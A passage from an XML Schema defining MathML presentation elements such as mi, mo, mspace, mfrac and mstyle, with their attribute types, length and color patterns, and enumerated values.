         <xs:pattern value="\s*([\+\-]?[0-9]*([0-9]\.?|\.[0-9])[0-9]*\s*((%?\s*(height|depth|width)?)|e[mx]|in|cm|mm|p[xtc]|((negative)?((very){0,2}thi(n|ck)|medium)mathspace))?)\s*"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="linestyle">
      <xs:restriction base="xs:token">
         <xs:enumeration value="none"/>
         <xs:enumeration value="solid"/>
         <xs:enumeration value="dashed"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="verticalalign">
      <xs:restriction base="xs:token">
         <xs:enumeration value="top"/>
         <xs:enumeration value="bottom"/>
         <xs:enumeration value="center"/>
         <xs:enumeration value="baseline"/>
         <xs:enumeration value="axis"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="columnalignstyle">
      <xs:restriction base="xs:token">
         <xs:enumeration value="left"/>
         <xs:enumeration value="center"/>
         <xs:enumeration value="right"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="notationstyle">
      <xs:restriction base="xs:token">
         <xs:enumeration value="longdiv"/>
         <xs:enumeration value="actuarial"/>
         <xs:enumeration value="radical"/>
         <xs:enumeration value="box"/>
         <xs:enumeration value="roundedbox"/>
         <xs:enumeration value="circle"/>
         <xs:enumeration value="left"/>
         <xs:enumeration value="right"/>
         <xs:enumeration value="top"/>
         <xs:enumeration value="bottom"/>
         <xs:enumeration value="updiagonalstrike"/>
         <xs:enumeration value="downdiagonalstrike"/>
         <xs:enumeration value="verticalstrike"/>
         <xs:enumeration value="horizontalstrike"/>
         <xs:enumeration value="madruwb"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="unsigned-integer">
      <xs:restriction base="xs:unsignedLong"/>
   </xs:simpleType>
   <xs:simpleType name="integer">
      <xs:restriction base="xs:integer"/>
   </xs:simpleType>
   <xs:simpleType name="number">
      <xs:restriction base="xs:decimal"/>
   </xs:simpleType>
   <xs:simpleType name="character">
      <xs:restriction base="xs:string">
         <xs:pattern value="\s*\S\s*"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="color">
      <xs:restriction base="xs:string">
         <xs:pattern value="\s*((#[0-9a-fA-F]{3}([0-9a-fA-F]{3})?)|[aA][qQ][uU][aA]|[bB][lL][aA][cC][kK]|[bB][lL][uU][eE]|[fF][uU][cC][hH][sS][iI][aA]|[gG][rR][aA][yY]|[gG][rR][eE][eE][nN]|[lL][iI][mM][eE]|[mM][aA][rR][oO][oO][nN]|[nN][aA][vV][yY]|[oO][lL][iI][vV][eE]|[pP][uU][rR][pP][lL][eE]|[rR][eE][dD]|[sS][iI][lL][vV][eE][rR]|[tT][eE][aA][lL]|[wW][hH][iI][tT][eE]|[yY][eE][lL][lL][oO][wW])\s*"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="group-alignment">
      <xs:restriction base="xs:token">
         <xs:enumeration value="left"/>
         <xs:enumeration value="center"/>
         <xs:enumeration value="right"/>
         <xs:enumeration value="decimalpoint"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="group-alignment-list">
      <xs:restriction>
         <xs:simpleType>
            <xs:list itemType="m:group-alignment"/>
         </xs:simpleType>
         <xs:minLength value="1"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="group-alignment-list-list">
      <xs:restriction base="xs:string">
         <xs:pattern value="(\s*\{\s*(left|center|right|decimalpoint)(\s+(left|center|right|decimalpoint))*\})*\s*"/>
      </xs:restriction>
   </xs:simpleType>
   <xs:simpleType name="positive-integer">
      <xs:restriction base="xs:positiveInteger"/>
   </xs:simpleType>
   <xs:element name="TokenExpression" abstract="true" substitutionGroup="m:PresentationExpression"/>
   <xs:group name="token.content">
      <xs:sequence>
         <xs:choice minOccurs="0">
            <xs:element ref="m:mglyph"/>
            <xs:element ref="m:malignmark"/>
         </xs:choice>
      </xs:sequence>
   </xs:group>
   <xs:element name="mi" substitutionGroup="m:TokenExpression">
      <xs:complexType mixed="true">
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:token.content"/>
         <xs:attributeGroup ref="m:mi.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mi.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:TokenAtt"/>
   </xs:attributeGroup>
   <xs:element name="mn" substitutionGroup="m:TokenExpression">
      <xs:complexType mixed="true">
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:token.content"/>
         <xs:attributeGroup ref="m:mn.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mn.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:TokenAtt"/>
   </xs:attributeGroup>
   <xs:element name="mo" substitutionGroup="m:TokenExpression">
      <xs:complexType mixed="true">
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:token.content"/>
         <xs:attributeGroup ref="m:mo.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mo.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:TokenAtt"/>
      <xs:attribute name="form">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="prefix"/>
               <xs:enumeration value="infix"/>
               <xs:enumeration value="postfix"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="fence">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="separator">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="lspace" type="m:length"/>
      <xs:attribute name="rspace" type="m:length"/>
      <xs:attribute name="stretchy">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="symmetric">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="maxsize">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="infinity"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="minsize" type="m:length"/>
      <xs:attribute name="largeop">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="movablelimits">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="accent">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="linebreak">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="auto"/>
               <xs:enumeration value="newline"/>
               <xs:enumeration value="nobreak"/>
               <xs:enumeration value="goodbreak"/>
               <xs:enumeration value="badbreak"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="lineleading" type="m:length"/>
      <xs:attribute name="linebreakstyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="before"/>
               <xs:enumeration value="after"/>
               <xs:enumeration value="duplicate"/>
               <xs:enumeration value="infixlinebreakstyle"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="linebreakmultchar"/>
      <xs:attribute name="indentalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshift" type="m:length"/>
      <xs:attribute name="indenttarget"/>
      <xs:attribute name="indentalignfirst">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
               <xs:enumeration value="indentalign"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshiftfirst">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="indentshift"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentalignlast">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
               <xs:enumeration value="indentalign"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshiftlast">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="indentshift"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="mtext" substitutionGroup="m:TokenExpression">
      <xs:complexType mixed="true">
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:token.content"/>
         <xs:attributeGroup ref="m:mtext.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mtext.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:TokenAtt"/>
   </xs:attributeGroup>
   <xs:element name="mspace" substitutionGroup="m:TokenExpression">
      <xs:complexType>
         <xs:attributeGroup ref="m:mspace.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mspace.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:TokenAtt"/>
      <xs:attribute name="width" type="m:length"/>
      <xs:attribute name="height" type="m:length"/>
      <xs:attribute name="depth" type="m:length"/>
      <xs:attribute name="linebreak">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="auto"/>
               <xs:enumeration value="newline"/>
               <xs:enumeration value="nobreak"/>
               <xs:enumeration value="goodbreak"/>
               <xs:enumeration value="badbreak"/>
               <xs:enumeration value="indentingnewline"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshift" type="m:length"/>
      <xs:attribute name="indenttarget"/>
      <xs:attribute name="indentalignfirst">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
               <xs:enumeration value="indentalign"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshiftfirst">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="indentshift"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentalignlast">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
               <xs:enumeration value="indentalign"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshiftlast">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="indentshift"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="ms" substitutionGroup="m:TokenExpression">
      <xs:complexType mixed="true">
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:token.content"/>
         <xs:attributeGroup ref="m:ms.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="ms.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:TokenAtt"/>
      <xs:attribute name="lquote"/>
      <xs:attribute name="rquote"/>
   </xs:attributeGroup>
   <xs:element name="mglyph">
      <xs:complexType>
         <xs:attributeGroup ref="m:mglyph.attributes"/>
         <xs:attributeGroup ref="m:mglyph.deprecatedattributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mglyph.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="src" type="xs:anyURI"/>
      <xs:attribute name="width" type="m:length"/>
      <xs:attribute name="height" type="m:length"/>
      <xs:attribute name="valign" type="m:length"/>
      <xs:attribute name="alt"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="mglyph.deprecatedattributes">
      <xs:attribute name="index" type="m:integer"/>
      <xs:attribute name="mathvariant">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="normal"/>
               <xs:enumeration value="bold"/>
               <xs:enumeration value="italic"/>
               <xs:enumeration value="bold-italic"/>
               <xs:enumeration value="double-struck"/>
               <xs:enumeration value="bold-fraktur"/>
               <xs:enumeration value="script"/>
               <xs:enumeration value="bold-script"/>
               <xs:enumeration value="fraktur"/>
               <xs:enumeration value="sans-serif"/>
               <xs:enumeration value="bold-sans-serif"/>
               <xs:enumeration value="sans-serif-italic"/>
               <xs:enumeration value="sans-serif-bold-italic"/>
               <xs:enumeration value="monospace"/>
               <xs:enumeration value="initial"/>
               <xs:enumeration value="tailed"/>
               <xs:enumeration value="looped"/>
               <xs:enumeration value="stretched"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="mathsize">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="small"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="normal"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="big"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attributeGroup ref="m:DeprecatedTokenAtt"/>
   </xs:attributeGroup>
   <xs:element name="msline">
      <xs:complexType>
         <xs:attributeGroup ref="m:msline.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msline.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="position" type="m:integer"/>
      <xs:attribute name="length" type="m:unsigned-integer"/>
      <xs:attribute name="leftoverhang" type="m:length"/>
      <xs:attribute name="rightoverhang" type="m:length"/>
      <xs:attribute name="mslinethickness">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thin"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="medium"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thick"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="none">
      <xs:complexType>
         <xs:attributeGroup ref="m:none.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="none.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
   </xs:attributeGroup>
   <xs:element name="mprescripts">
      <xs:complexType>
         <xs:attributeGroup ref="m:mprescripts.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mprescripts.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="CommonPresAtt">
      <xs:attribute name="mathcolor" type="m:color"/>
      <xs:attribute name="mathbackground">
         <xs:simpleType>
            <xs:union memberTypes="m:color">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="transparent"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:attributeGroup name="TokenAtt">
      <xs:attribute name="mathvariant">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="normal"/>
               <xs:enumeration value="bold"/>
               <xs:enumeration value="italic"/>
               <xs:enumeration value="bold-italic"/>
               <xs:enumeration value="double-struck"/>
               <xs:enumeration value="bold-fraktur"/>
               <xs:enumeration value="script"/>
               <xs:enumeration value="bold-script"/>
               <xs:enumeration value="fraktur"/>
               <xs:enumeration value="sans-serif"/>
               <xs:enumeration value="bold-sans-serif"/>
               <xs:enumeration value="sans-serif-italic"/>
               <xs:enumeration value="sans-serif-bold-italic"/>
               <xs:enumeration value="monospace"/>
               <xs:enumeration value="initial"/>
               <xs:enumeration value="tailed"/>
               <xs:enumeration value="looped"/>
               <xs:enumeration value="stretched"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="mathsize">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="small"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="normal"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="big"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="dir">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="ltr"/>
               <xs:enumeration value="rtl"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attributeGroup ref="m:DeprecatedTokenAtt"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="DeprecatedTokenAtt">
      <xs:attribute name="fontfamily"/>
      <xs:attribute name="fontweight">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="normal"/>
               <xs:enumeration value="bold"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="fontstyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="normal"/>
               <xs:enumeration value="italic"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="fontsize" type="m:length"/>
      <xs:attribute name="color" type="m:color"/>
      <xs:attribute name="background">
         <xs:simpleType>
            <xs:union memberTypes="m:color">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="transparent"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="MalignExpression" abstract="true" substitutionGroup="m:PresentationExpression"/>
   <xs:element name="malignmark" substitutionGroup="m:MalignExpression">
      <xs:complexType>
         <xs:attributeGroup ref="m:malignmark.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="malignmark.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="edge">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="maligngroup" substitutionGroup="m:MalignExpression">
      <xs:complexType>
         <xs:attributeGroup ref="m:maligngroup.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="maligngroup.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="groupalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="decimalpoint"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="mrow" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MathExpression"/>
         <xs:attributeGroup ref="m:mrow.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mrow.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="dir">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="ltr"/>
               <xs:enumeration value="rtl"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="mfrac" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mfrac.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mfrac.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="linethickness">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thin"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="medium"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thick"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="numalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="denomalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="bevelled">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="msqrt" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:msqrt.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msqrt.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
   </xs:attributeGroup>
   <xs:element name="mroot" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mroot.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mroot.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
   </xs:attributeGroup>
   <xs:element name="mstyle" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:mstyle.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mstyle.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:mstyle.specificattributes"/>
      <xs:attributeGroup ref="m:mstyle.generalattributes"/>
      <xs:attributeGroup ref="m:mstyle.deprecatedattributes"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="mstyle.specificattributes">
      <xs:attribute name="scriptlevel" type="m:integer"/>
      <xs:attribute name="displaystyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="scriptsizemultiplier" type="m:number"/>
      <xs:attribute name="scriptminsize" type="m:length"/>
      <xs:attribute name="infixlinebreakstyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="before"/>
               <xs:enumeration value="after"/>
               <xs:enumeration value="duplicate"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="decimalpoint" type="m:character"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="mstyle.generalattributes">
      <xs:attribute name="accent">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="accentunder">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="align">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="center"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="alignmentscope">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list>
                     <xs:simpleType>
                        <xs:restriction base="xs:token">
                           <xs:enumeration value="true"/>
                           <xs:enumeration value="false"/>
                        </xs:restriction>
                     </xs:simpleType>
                  </xs:list>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="bevelled">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="charalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="charspacing">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="loose"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="medium"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="tight"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="close"/>
      <xs:attribute name="columnalign">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:columnalignstyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnlines">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:linestyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnspacing">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:length"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnspan" type="m:positive-integer"/>
      <xs:attribute name="columnwidth">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list>
                     <xs:simpleType>
                        <xs:union memberTypes="m:length">
                           <xs:simpleType>
                              <xs:restriction base="xs:token">
                                 <xs:enumeration value="auto"/>
                              </xs:restriction>
                           </xs:simpleType>
                           <xs:simpleType>
                              <xs:restriction base="xs:token">
                                 <xs:enumeration value="fit"/>
                              </xs:restriction>
                           </xs:simpleType>
                        </xs:union>
